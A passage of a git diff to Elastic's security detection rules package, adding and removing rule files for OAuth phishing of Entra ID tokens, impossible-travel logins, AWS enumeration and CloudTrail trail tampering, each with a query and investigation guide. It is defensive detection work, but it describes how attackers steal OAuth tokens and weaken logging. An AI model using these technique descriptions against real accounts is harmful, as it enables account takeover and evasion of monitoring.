true, + "name": "process.command_line", + "type": "wildcard" + }, + { + "ecs": true, + "name": "process.name", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.pe.original_file_name", + "type": "keyword" + } + ], + "risk_score": 73, + "rule_id": "37148ae6-c6ec-4fe4-88b1-02f40aed93a9", + "severity": "high", + "tags": [ + "Domain: Endpoint", + "OS: Windows", + "Use Case: Threat Detection", + "Tactic: Defense Evasion", + "Data Source: Elastic Endgame", + "Resources: Investigation Guide", + "Data Source: Elastic Defend", + "Data Source: Windows Security Event Logs", + "Data Source: Microsoft Defender for Endpoint", + "Data Source: Sysmon", + "Data Source: SentinelOne", + "Data Source: Crowdstrike" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0005", + "name": "Defense Evasion", + "reference": "https://attack.mitre.org/tactics/TA0005/" + }, + "technique": [ + { + "id": "T1027", + "name": "Obfuscated Files or Information", + "reference": "https://attack.mitre.org/techniques/T1027/", + "subtechnique": [ + { + "id": "T1027.010", + "name": "Command Obfuscation", + "reference": "https://attack.mitre.org/techniques/T1027/010/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "eql", + "version": 1 + }, + "id": "37148ae6-c6ec-4fe4-88b1-02f40aed93a9_1", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/375132c6-25d5-11f0-8745-f661ea17fbcd_2.json b/packages/security_detection_engine/kibana/security_rule/375132c6-25d5-11f0-8745-f661ea17fbcd_2.json deleted file mode 100644 index 1ca42ec6f0e..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/375132c6-25d5-11f0-8745-f661ea17fbcd_2.json +++ /dev/null @@ -1,67 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "Identifies separate OAuth authorization flows in Microsoft Entra ID where the same user principal and session ID are observed across multiple IP addresses within a 5-minute window. These flows involve the Microsoft Authentication Broker (MAB) as the client application and the Device Registration Service (DRS) as the target resource. This pattern is highly indicative of OAuth phishing activity, where an adversary crafts a legitimate Microsoft login URL to trick a user into completing authentication and sharing the resulting authorization code, which is then exchanged for an access and refresh token by the attacker.", - "false_positives": [ - "Legitimate device registrations using Microsoft Authentication Broker may occur during corporate enrollment scenarios or bulk provisioning, but it is uncommon for multiple source IPs to register the same identity across Microsoft Graph, Device Registration Service (DRS), and Azure Active Directory (AAD) in a short time span." - ], - "from": "now-61m", - "interval": "60m", - "language": "esql", - "license": "Elastic License v2", - "name": "Suspicious Microsoft OAuth Flow via Auth Broker to DRS", - "note": "## Triage and analysis\n\n### Investigating Suspicious Microsoft OAuth Flow via Auth Broker to DRS\n\nThis rule identifies potential OAuth phishing behavior in Microsoft Entra ID where two OAuth authorization flows are observed in quick succession, sharing the same user principal and session ID but originating from different IP addresses. The client application is the Microsoft Authentication Broker, and the target resource is the Device Registration Service (DRS). This pattern is indicative of adversaries attempting to phish targets for OAuth sessions by tricking users into authenticating through a crafted URL, which then allows the attacker to obtain an authorization code and exchange it for access and refresh tokens.\n\n### Possible Investigation Steps:\n\n- `target`: The user principal name targeted by the authentication broker. Investigate whether this user has recently registered a device, signed in from new IPs, or had password resets or MFA changes.\n- `session_id`: Used to correlate all events in the OAuth flow. All sign-ins in the alert share the same session, suggesting shared or hijacked state.\n- `unique_token_id`: Lists tokens generated in the flow. If multiple IDs exist in the same session, this indicates token issuance from different locations.\n- `source_ip`, `city_name`, `country_name`, `region_name`: Review the IPs and geolocations involved. A mismatch in geographic origin within minutes can signal adversary involvement.\n- `user_agent`: Conflicting user agents (e.g., `python-requests` and `Chrome`) suggest one leg of the session was scripted or automated.\n- `os`: If multiple operating systems are observed in the same short session (e.g., macOS and Windows), this may suggest activity from different environments.\n- `incoming_token_type`: Look for values like `\"none\"` or `\"refreshToken\"` that can indicate abnormal or re-authenticated activity.\n- `token_session_status`: A value of `\"unbound\"` means the issued token is not tied to a device or CAE session, making it reusable from another IP.\n- `conditional_access_status`: If this is `\"notApplied\"`, it may indicate that expected access policies were not enforced.\n- `auth_count`: Number of events in the session. More than one indicates the session was reused within the time window.\n- `target_time_window`: Use this to pivot into raw sign-in logs to review the exact sequence and timing of the activity.\n- Search `azure.auditlogs` for any device join or registration activity around the `target_time_window`.\n- Review `azure.identityprotection` logs for anonymized IPs, impossible travel, or token replay alerts.\n- Search for other activity from the same IPs across all users to identify horizontal movement.\n\n### False Positive Analysis\n\n- A legitimate device join from a user switching networks (e.g., mobile hotspot to Wi-Fi) could explain multi-IP usage.\n- Some identity management agents or EDR tools may use MAB for background device registration flows.\n- Developers or IT administrators may access DRS across environments when testing.\n\n### Response and Remediation\n\n- If confirmed unauthorized, revoke all refresh tokens for the user and disable any suspicious registered devices.\n- Notify the user and verify if the authentication or device join was expected.\n- Review Conditional Access policies for the Microsoft Authentication Broker (`29d9ed98-a469-4536-ade2-f981bc1d605e`) to ensure enforcement of MFA and device trust.\n- Consider restricting token-based reauthentication from anonymized infrastructure or unusual user agents.\n- Continue monitoring for follow-on activity, such as privilege escalation, token misuse, or lateral movement.\n", - "query": "FROM logs-azure.signinlogs* metadata _id, _version, _index\n\n// Filter for Microsoft Entra ID sign-in logs\n| WHERE event.dataset == \"azure.signinlogs\"\n AND event.outcome == \"success\"\n AND azure.signinlogs.properties.user_type == \"Member\"\n AND azure.signinlogs.identity IS NOT NULL\n AND azure.signinlogs.properties.user_principal_name IS NOT NULL\n AND source.address IS NOT NULL\n\n // Filter for MAB as client (app_id) and DRS as resource (resource_id)\n AND azure.signinlogs.properties.app_id == \"29d9ed98-a469-4536-ade2-f981bc1d605e\" // MAB\n AND azure.signinlogs.properties.resource_id == \"01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9\" // DRS\n\n// Normalize timestamps into 30-minute detection windows\n| EVAL target_time_window = DATE_TRUNC(30 minutes, @timestamp)\n\n// Tag browser-based requests and extract session ID\n| EVAL\n session_id = azure.signinlogs.properties.session_id,\n is_browser = CASE(\n TO_LOWER(azure.signinlogs.properties.device_detail.browser) RLIKE \"(chrome|firefox|edge|safari).*\", 1, 0\n )\n\n| STATS\n // user & session identity\n user_display_name = VALUES(azure.signinlogs.properties.user_display_name),\n user_principal_name = VALUES(azure.signinlogs.properties.user_principal_name),\n session_id = VALUES(azure.signinlogs.properties.session_id),\n unique_token_id = VALUES(azure.signinlogs.properties.unique_token_identifier),\n\n // geolocation\n city_name = VALUES(source.geo.city_name),\n country_name = VALUES(source.geo.country_name),\n region_name = VALUES(source.geo.region_name),\n source_ip = VALUES(source.address),\n ip_count = COUNT_DISTINCT(source.address),\n autonomous_system = VALUES(source.`as`.organization.name),\n\n // authentication context\n auth_protocol = VALUES(azure.signinlogs.properties.authentication_protocol),\n auth_requirement = VALUES(azure.signinlogs.properties.authentication_requirement),\n is_interactive = VALUES(azure.signinlogs.properties.is_interactive),\n\n // token & app context\n token_type = VALUES(azure.signinlogs.properties.incoming_token_type),\n token_session_status = VALUES(azure.signinlogs.properties.token_protection_status_details.sign_in_session_status),\n session_id_count = COUNT_DISTINCT(session_id),\n client_app_display_name = VALUES(azure.signinlogs.properties.app_display_name),\n client_app_ids = VALUES(azure.signinlogs.properties.app_id),\n target_resource_ids = VALUES(azure.signinlogs.properties.resource_id),\n target_resource_display_name = VALUES(azure.signinlogs.properties.resource_display_name),\n\n // tenant details\n app_owner_tenant_id = VALUES(azure.signinlogs.properties.app_owner_tenant_id),\n resource_owner_tenant_id = VALUES(azure.signinlogs.properties.resource_owner_tenant_id),\n\n // conditional access & risk signals\n conditional_access_status = VALUES(azure.signinlogs.properties.conditional_access_status),\n risk_state = VALUES(azure.signinlogs.properties.risk_state),\n risk_level_aggregated = VALUES(azure.signinlogs.properties.risk_level_aggregated),\n\n // user agent & device\n browser = VALUES(azure.signinlogs.properties.device_detail.browser),\n os = VALUES(azure.signinlogs.properties.device_detail.operating_system),\n user_agent = VALUES(user_agent.original),\n has_browser = MAX(is_browser),\n\n auth_count = COUNT(*)\nBY\n target_time_window,\n azure.signinlogs.properties.user_principal_name,\n session_id\n\n| KEEP\n target_time_window, user_display_name, user_principal_name, session_id, unique_token_id,\n city_name, country_name, region_name, source_ip, ip_count, autonomous_system,\n auth_protocol, auth_requirement, is_interactive,\n token_type, token_session_status, session_id_count, client_app_display_name,\n client_app_ids, target_resource_ids, target_resource_display_name,\n app_owner_tenant_id, resource_owner_tenant_id,\n conditional_access_status, risk_state, risk_level_aggregated,\n browser, os, user_agent, has_browser, auth_count\n\n| WHERE\n ip_count >= 2 AND\n session_id_count == 1 AND\n has_browser >= 1 AND\n auth_count >= 2\n", - "references": [ - "https://www.volexity.com/blog/2025/04/22/phishing-for-codes-russian-threat-actors-target-microsoft-365-oauth-workflows/", - "https://github.com/dirkjanm/ROADtools", - "https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/" - ], - "risk_score": 73, - "rule_id": "375132c6-25d5-11f0-8745-f661ea17fbcd", - "setup": "#### Required Microsoft Entra ID Sign-In Logs\nThis rule requires the Microsoft Entra ID Sign-In Logs integration be enabled and configured to collect sign-in logs. In Entra ID, sign-in logs must be enabled and streaming to the Event Hub used for the Azure integration.\n", - "severity": "high", - "tags": [ - "Domain: Cloud", - "Domain: Identity", - "Data Source: Azure", - "Data Source: Entra ID", - "Data Source: Entra ID Sign-in Logs", - "Use Case: Identity and Access Audit", - "Use Case: Threat Detection", - "Resources: Investigation Guide", - "Tactic: Initial Access" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0001", - "name": "Initial Access", - "reference": "https://attack.mitre.org/tactics/TA0001/" - }, - "technique": [ - { - "id": "T1566", - "name": "Phishing", - "reference": "https://attack.mitre.org/techniques/T1566/", - "subtechnique": [ - { - "id": "T1566.002", - "name": "Spearphishing Link", - "reference": "https://attack.mitre.org/techniques/T1566/002/" - } - ] - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "esql", - "version": 2 - }, - "id": "375132c6-25d5-11f0-8745-f661ea17fbcd_2", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/378f9024-8a0c-46a5-aa08-ce147ac73a4e_210.json b/packages/security_detection_engine/kibana/security_rule/378f9024-8a0c-46a5-aa08-ce147ac73a4e_210.json new file mode 100644 index 00000000000..1854bcae490 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/378f9024-8a0c-46a5-aa08-ce147ac73a4e_210.json @@ -0,0 +1,96 @@ +{ + "attributes": { + "author": [ + "Elastic", + "Austin Songer" + ], + "description": "Identifies the creation of an Amazon Relational Database Service (RDS) Security group. Modern RDS deployments run in a VPC and use standard EC2 security groups instead. This rule should be retained only for historical log analysis on legacy CloudTrail data. We recommend relying on \"AWS EC2 Security Group Configuration Change\" rule for network-control changes impacting RDS in VPC-based deployments.", + "false_positives": [ + "An RDS security group may be created by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. Security group creations by unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "from": "now-60m", + "index": [ + "filebeat-*", + "logs-aws.cloudtrail-*" + ], + "interval": "10m", + "language": "kuery", + "license": "Elastic License v2", + "name": "Deprecated - AWS RDS Security Group Creation", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Deprecated - AWS RDS Security Group Creation\n\nAmazon RDS Security Groups control access to RDS instances, acting as virtual firewalls. Adversaries may exploit this by creating unauthorized security groups to maintain persistence or exfiltrate data. The detection rule monitors successful creation events of RDS security groups, flagging potential misuse by correlating specific AWS CloudTrail logs, thus aiding in identifying unauthorized access attempts.\n\n### Possible investigation steps\n\n- Review the AWS CloudTrail logs for the event.action:CreateDBSecurityGroup to identify the user or role responsible for the creation of the RDS security group.\n- Check the event.provider:rds.amazonaws.com logs to gather additional context about the RDS instance associated with the newly created security group.\n- Investigate the event.outcome:success logs to confirm the successful creation and assess if it aligns with expected administrative activities.\n- Analyze the associated AWS account and user activity to determine if there are any anomalies or unauthorized access patterns.\n- Cross-reference the security group details with existing security policies to ensure compliance and identify any deviations.\n- Evaluate the permissions and rules associated with the new security group to assess potential risks or exposure to sensitive data.\n\n### False positive analysis\n\n- Routine administrative tasks may trigger the rule when authorized personnel create new RDS security groups for legitimate purposes. To manage this, establish a list of known IP addresses or user accounts that frequently perform these tasks and create exceptions for them.\n- Automated deployment tools or scripts that create RDS security groups as part of infrastructure provisioning can lead to false positives. Identify these tools and their associated accounts, then configure the rule to exclude these specific actions.\n- Scheduled maintenance or updates that involve creating new security groups might be flagged. Document these scheduled activities and adjust the rule to recognize and exclude them during the specified time frames.\n- Testing environments where security groups are frequently created and deleted for development purposes can generate alerts. Implement tagging or naming conventions for test environments and exclude these from the rule's scope.\n\n### Response and remediation\n\n- Immediately review the AWS CloudTrail logs to confirm the unauthorized creation of the RDS security group and identify the source IP and user account involved in the action.\n- Revoke any unauthorized security group rules associated with the newly created RDS security group to prevent further unauthorized access or data exfiltration.\n- Temporarily disable or delete the unauthorized RDS security group to contain the threat and prevent persistence.\n- Conduct a thorough audit of all AWS IAM roles and permissions to ensure that only authorized users have the ability to create or modify RDS security groups.\n- Escalate the incident to the security operations team for further investigation and to determine if additional systems or data have been compromised.\n- Implement additional monitoring and alerting for any future RDS security group creation events to quickly detect and respond to similar threats.\n- Review and update AWS security policies and access controls to prevent unauthorized security group creation, ensuring alignment with best practices for least privilege.", + "query": "event.dataset:aws.cloudtrail and event.provider:rds.amazonaws.com and event.action:CreateDBSecurityGroup and event.outcome:success\n", + "references": [ + "https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_CreateDBSecurityGroup.html" + ], + "related_integrations": [ + { + "integration": "cloudtrail", + "package": "aws", + "version": "^4.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.dataset", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.outcome", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.provider", + "type": "keyword" + } + ], + "risk_score": 21, + "rule_id": "378f9024-8a0c-46a5-aa08-ce147ac73a4e", + "setup": "The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.", + "severity": "low", + "tags": [ + "Domain: Cloud", + "Data Source: AWS", + "Data Source: Amazon Web Services", + "Data Source: AWS RDS", + "Tactic: Persistence", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0003", + "name": "Persistence", + "reference": "https://attack.mitre.org/tactics/TA0003/" + }, + "technique": [ + { + "id": "T1136", + "name": "Create Account", + "reference": "https://attack.mitre.org/techniques/T1136/", + "subtechnique": [ + { + "id": "T1136.003", + "name": "Cloud Account", + "reference": "https://attack.mitre.org/techniques/T1136/003/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "query", + "version": 210 + }, + "id": "378f9024-8a0c-46a5-aa08-ce147ac73a4e_210", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/3896d4c0-6ad1-11ef-8c7b-f661ea17fbcc_5.json b/packages/security_detection_engine/kibana/security_rule/3896d4c0-6ad1-11ef-8c7b-f661ea17fbcc_5.json deleted file mode 100644 index 5a966a1e1eb..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/3896d4c0-6ad1-11ef-8c7b-f661ea17fbcc_5.json +++ /dev/null @@ -1,113 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "Detects successful Microsoft 365 portal logins from impossible travel locations. Impossible travel locations are defined as two different countries within a short time frame. This behavior may indicate an adversary attempting to access a Microsoft 365 account from a compromised account or a malicious actor attempting to access a Microsoft 365 account from a different location.", - "false_positives": [ - "False positives may occur when users are using a VPN or when users are traveling to different locations for legitimate purposes." - ], - "from": "now-15m", - "index": [ - "filebeat-*", - "logs-o365.audit-*" - ], - "language": "kuery", - "license": "Elastic License v2", - "name": "Microsoft 365 Portal Logins from Impossible Travel Locations", - "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Microsoft 365 Portal Logins from Impossible Travel Locations\n\nMicrosoft 365's cloud-based services enable global access, but this can be exploited by adversaries logging in from disparate locations within short intervals, indicating potential account compromise. The detection rule identifies such anomalies by analyzing login events for rapid geographic shifts, flagging suspicious activity that may suggest unauthorized access attempts.\n\n### Possible investigation steps\n\n- Review the login events associated with the specific UserId flagged in the alert to confirm the occurrence of logins from different countries within a short time frame.\n- Check the IP addresses associated with the login events to determine if they are from known or suspicious sources, and verify if they are consistent with the user's typical login behavior.\n- Investigate the user's recent activity in Microsoft 365 to identify any unusual or unauthorized actions that may indicate account compromise.\n- Contact the user to verify if they were traveling or using a VPN service that could explain the login from an unexpected location.\n- Examine any recent changes to the user's account settings or permissions that could suggest unauthorized access or tampering.\n- Review the organization's security logs and alerts for any other suspicious activities or patterns that might correlate with the detected anomaly.\n\n### False positive analysis\n\n- Frequent business travelers may trigger false positives due to legitimate logins from different countries within short time frames. To manage this, create exceptions for users with known travel patterns by whitelisting their accounts or using conditional access policies.\n- Use of VPNs or proxy services can result in logins appearing from different geographic locations. Identify and exclude IP ranges associated with trusted VPN services to reduce false positives.\n- Employees working remotely from different countries may cause alerts. Implement user-based exceptions for remote workers who regularly log in from multiple locations.\n- Automated systems or services that log in from various locations for legitimate reasons can be mistaken for suspicious activity. Exclude these service accounts from the rule to prevent unnecessary alerts.\n- Consider time zone differences that might affect the perceived timing of logins. Adjust the rule's sensitivity to account for legitimate time zone shifts that could appear as impossible travel.\n\n### Response and remediation\n\n- Immediately isolate the affected user account by disabling it to prevent further unauthorized access.\n- Initiate a password reset for the compromised account and enforce multi-factor authentication (MFA) to enhance security.\n- Review recent login activity and audit logs for the affected account to identify any unauthorized access or data exfiltration attempts.\n- Notify the user of the suspicious activity and advise them to verify any recent changes or actions taken on their account.\n- Escalate the incident to the security operations team for further investigation and to determine if other accounts or systems have been compromised.\n- Implement geo-blocking for high-risk countries or regions where the organization does not typically conduct business to prevent similar unauthorized access attempts.\n- Update and refine security monitoring rules to enhance detection of similar anomalous login patterns in the future.", - "query": "event.dataset: \"o365.audit\"\n and event.provider: \"AzureActiveDirectory\"\n and event.action: \"UserLoggedIn\"\n and event.outcome: \"success\"\n and not o365.audit.UserId: \"Not Available\"\n and o365.audit.Target.Type: (\"0\" or \"2\" or \"3\" or \"5\" or \"6\" or \"10\")\n", - "references": [ - "https://www.huntress.com/blog/time-travelers-busted-how-to-detect-impossible-travel-" - ], - "related_integrations": [ - { - "package": "o365", - "version": "^2.0.0" - } - ], - "required_fields": [ - { - "ecs": true, - "name": "event.action", - "type": "keyword" - }, - { - "ecs": true, - "name": "event.dataset", - "type": "keyword" - }, - { - "ecs": true, - "name": "event.outcome", - "type": "keyword" - }, - { - "ecs": true, - "name": "event.provider", - "type": "keyword" - }, - { - "ecs": false, - "name": "o365.audit.Target.Type", - "type": "keyword" - }, - { - "ecs": false, - "name": "o365.audit.UserId", - "type": "keyword" - } - ], - "risk_score": 47, - "rule_id": "3896d4c0-6ad1-11ef-8c7b-f661ea17fbcc", - "severity": "medium", - "tags": [ - "Domain: Cloud", - "Data Source: Microsoft 365", - "Use Case: Threat Detection", - "Tactic: Initial Access", - "Resources: Investigation Guide" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0001", - "name": "Initial Access", - "reference": "https://attack.mitre.org/tactics/TA0001/" - }, - "technique": [ - { - "id": "T1078", - "name": "Valid Accounts", - "reference": "https://attack.mitre.org/techniques/T1078/", - "subtechnique": [ - { - "id": "T1078.004", - "name": "Cloud Accounts", - "reference": "https://attack.mitre.org/techniques/T1078/004/" - } - ] - } - ] - } - ], - "threshold": { - "cardinality": [ - { - "field": "source.geo.country_name", - "value": 2 - } - ], - "field": [ - "o365.audit.UserId" - ], - "value": 1 - }, - "timestamp_override": "event.ingested", - "type": "threshold", - "version": 5 - }, - "id": "3896d4c0-6ad1-11ef-8c7b-f661ea17fbcc_5", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/393ef120-63d1-11ef-8e38-f661ea17fbce_3.json b/packages/security_detection_engine/kibana/security_rule/393ef120-63d1-11ef-8e38-f661ea17fbce_3.json deleted file mode 100644 index 32bc639da0a..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/393ef120-63d1-11ef-8e38-f661ea17fbce_3.json +++ /dev/null @@ -1,63 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "Identifies when a single AWS resource is making `DescribeInstances` API calls in more than 10 regions within a 30-second window. This could indicate a potential threat actor attempting to discover the AWS infrastructure across multiple regions using compromised credentials or a compromised instance. Adversaries may use this information to identify potential targets for further exploitation or to gain a better understanding of the target's infrastructure.", - "false_positives": [ - "Legitimate use of the `DescribeInstances` API call by an AWS resource that requires information about instances in multiple regions.", - "Scheduled tasks or scripts that require information about instances in multiple regions." - ], - "from": "now-9m", - "investigation_fields": { - "field_names": [ - "aws.cloudtrail.user_identity.arn", - "target_time_window", - "region_count", - "window_count" - ] - }, - "language": "esql", - "license": "Elastic License v2", - "name": "AWS EC2 Multi-Region DescribeInstances API Calls", - "note": "## Triage and Analysis\n\n### Investigating AWS EC2 Multi-Region DescribeInstances API Calls\n\nThis rule detects instances where a single AWS resource makes `DescribeInstances` API calls in over 10 regions within a 30-second window. This could indicate an adversary using compromised credentials or an exploited resource to enumerate AWS infrastructure across multiple regions. Attackers often leverage multi-region enumeration to assess the overall cloud environment and find potential targets for further exploitation.\n\n#### Possible Investigation Steps\n\n- **Identify the Resource and Actor**:\n - **Actor ARN**: Check `aws.cloudtrail.user_identity.arn` to determine the exact identity performing the enumeration. Validate if the user is expected to perform region-wide `DescribeInstances` actions across multiple regions or if it seems unusual.\n - **Account and Role Details**: Examine `cloud.account.id` and `aws.cloudtrail.user_identity.session_context.session_issuer` for information about the AWS account and specific role associated with the action.\n\n- **Analyze API Call Patterns**:\n - **Frequency and Scope**: Review `cloud.region` field and confirm if this specific resource commonly performs `DescribeInstances` calls across multiple regions.\n - **Time Window Context**: Compare the timing of the API calls within the `target_time_window` to determine if this burst pattern aligns with expected system usage or is potentially malicious.\n\n- **Check User Agent and Tooling**:\n - **Source and User Agent**: Verify `user_agent.original` to determine if the request was made through expected tooling (e.g., AWS CLI or SDK) or a third-party tool that might indicate non-standard access.\n - **Source IP Address**: Look into `source.address` to identify the origin of the calls. Unusual IP addresses, especially those outside expected ranges, may indicate compromised access.\n\n- **Evaluate for Potential Reconnaissance Behavior**:\n - **Account and Region Enumeration**: Adversaries may use region-wide `DescribeInstances` requests to discover resources within an account across different regions. Confirm if this access aligns with operational practices or represents excessive access.\n - **Permissions and Roles**: Investigate the permissions associated with the user role. Excessive permissions on a compromised role may allow broader enumeration, which should be restricted.\n\n- **Review Related CloudTrail Events**:\n - **Additional Describe or List Actions**: Identify any associated `Describe` or `List` API calls that may indicate further enumeration of other AWS services within the same timeframe.\n - **Potential Preceding Events**: Look for preceding login or access events from the same actor, as these may indicate potential credential compromise or unauthorized escalation of privileges.\n\n### False Positive Analysis\n\n- **Expected Enumeration**: Certain administrative or automation scripts may conduct broad `DescribeInstances` API calls for inventory purposes. Review usage patterns or consult relevant teams to validate the purpose.\n- **Automated Cloud Management**: Some automated services may perform regional checks for compliance or backup operations. If this rule is triggered repeatedly by a known service, consider whitelisting or tuning accordingly.\n\n### Response and Remediation\n\n- **Review IAM Policies and Role Permissions**: Limit the permissions of roles associated with this resource, restricting unnecessary multi-region enumeration access.\n- **Enforce Least Privilege Access**: Ensure that permissions for DescribeInstances are tightly controlled and restricted to specific roles or accounts that require multi-region access.\n- **Increase Monitoring and Alerts**: Set up additional monitoring on this role or account for further signs of unauthorized activity or lateral movement attempts.\n- **Access Review**: Conduct a review of users and entities with `DescribeInstances` permissions, especially for multi-region capabilities, and ensure these permissions are necessary for their functions.\n\n### Additional Information\n\nFor further information on AWS `DescribeInstances` permissions and best practices, refer to the [AWS DescribeInstances API documentation](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DescribeInstances.html).\n", - "query": "from logs-aws.cloudtrail-*\n\n// filter for DescribeInstances API calls\n| where event.dataset == \"aws.cloudtrail\" and event.provider == \"ec2.amazonaws.com\" and event.action == \"DescribeInstances\"\n\n// truncate the timestamp to a 30-second window\n| eval target_time_window = DATE_TRUNC(30 seconds, @timestamp)\n\n// keep only the relevant fields\n| keep target_time_window, aws.cloudtrail.user_identity.arn, cloud.region\n\n// count the number of unique regions and total API calls within the 30-second window\n| stats region_count = count_distinct(cloud.region), window_count = count(*) by target_time_window, aws.cloudtrail.user_identity.arn\n\n// filter for resources making DescribeInstances API calls in more than 10 regions within the 30-second window\n| where region_count >= 10 and window_count >= 10\n\n// sort the results by time windows in descending order\n| sort target_time_window desc\n", - "references": [ - "https://www.sentinelone.com/labs/exploring-fbot-python-based-malware-targeting-cloud-and-payment-services/", - "https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DescribeInstances.html" - ], - "risk_score": 21, - "rule_id": "393ef120-63d1-11ef-8e38-f661ea17fbce", - "severity": "low", - "tags": [ - "Domain: Cloud", - "Data Source: AWS", - "Data Source: AWS EC2", - "Resources: Investigation Guide", - "Use Case: Threat Detection", - "Tactic: Discovery" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0007", - "name": "Discovery", - "reference": "https://attack.mitre.org/tactics/TA0007/" - }, - "technique": [ - { - "id": "T1580", - "name": "Cloud Infrastructure Discovery", - "reference": "https://attack.mitre.org/techniques/T1580/" - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "esql", - "version": 3 - }, - "id": "393ef120-63d1-11ef-8e38-f661ea17fbce_3", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/3e002465-876f-4f04-b016-84ef48ce7e5d_212.json b/packages/security_detection_engine/kibana/security_rule/3e002465-876f-4f04-b016-84ef48ce7e5d_212.json new file mode 100644 index 00000000000..2d97d360596 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/3e002465-876f-4f04-b016-84ef48ce7e5d_212.json @@ -0,0 +1,127 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Detects updates to an existing CloudTrail trail via UpdateTrail API which may reduce visibility, change destinations, or weaken integrity (e.g., removing global events, moving the S3 destination, or disabling validation). Adversaries can modify trails to evade detection while maintaining a semblance of logging. Validate any configuration change against approved baselines.", + "false_positives": [ + "Trail updates may be made by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. Trail updates from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "from": "now-6m", + "index": [ + "filebeat-*", + "logs-aws.cloudtrail-*" + ], + "investigation_fields": { + "field_names": [ + "@timestamp", + "user.name", + "user_agent.original", + "source.ip", + "aws.cloudtrail.user_identity.arn", + "aws.cloudtrail.user_identity.type", + "aws.cloudtrail.user_identity.access_key_id", + "event.action", + "event.outcome", + "cloud.account.id", + "cloud.region", + "aws.cloudtrail.request_parameters", + "aws.cloudtrail.response_elements" + ] + }, + "language": "kuery", + "license": "Elastic License v2", + "name": "AWS CloudTrail Log Updated", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating AWS CloudTrail Log Updated\n\nAWS CloudTrail is a service that enables governance, compliance, and operational and risk auditing of your AWS account. It logs API calls and related events, providing visibility into user activity. Trail modifications can be used by attackers to redirect logs to non-approved buckets, drop regions, or disable valuable selectors. This rule identifies a modification on CloudTrail settings using the `UpdateTrail` API. \n\n#### Possible investigation steps\n- **Actor and context**\n - Check `aws.cloudtrail.user_identity.arn`, `user_agent.original`, `source.ip`; verify approved change.\n- **Assess the modification**\n - In `aws.cloudtrail.request_parameters`, note changes to:\n - `S3BucketName`, `CloudWatchLogsLogGroupArn`, `KmsKeyId`\n - `IsMultiRegionTrail`, `IncludeGlobalServiceEvents`\n - Event or insight selectors (management vs data events)\n- **Correlate**\n - Look for preceding `StopLogging` or following `DeleteTrail`.\n - Review concurrent IAM policy edits or role changes by the same actor.\n\n### False positive analysis\n- **Planned changes**: Baseline drift during region onboarding or encryption rotation.\n- **Automation**: IaC pipelines updating trails as templates evolve.\n\n### Response and remediation\n- **If unauthorized**\n - Revert to baseline; validate destination ownership and KMS policy.\n - Investigate time ranges where visibility may have been reduced.\n- **Hardening**\n - Constrain `cloudtrail:UpdateTrail`, require approvals, and monitor with AWS Config rules.\n\n### Additional information\n- **[AWS IR Playbooks](https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/)** \n- **[AWS Customer Playbook Framework](https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs)** \n- **Security Best Practices:** [AWS Knowledge Center \u2013 Security Best Practices](https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/).\n", + "query": "event.dataset: \"aws.cloudtrail\" \n and event.provider: \"cloudtrail.amazonaws.com\" \n and event.action: \"UpdateTrail\" \n and event.outcome: \"success\"\n", + "references": [ + 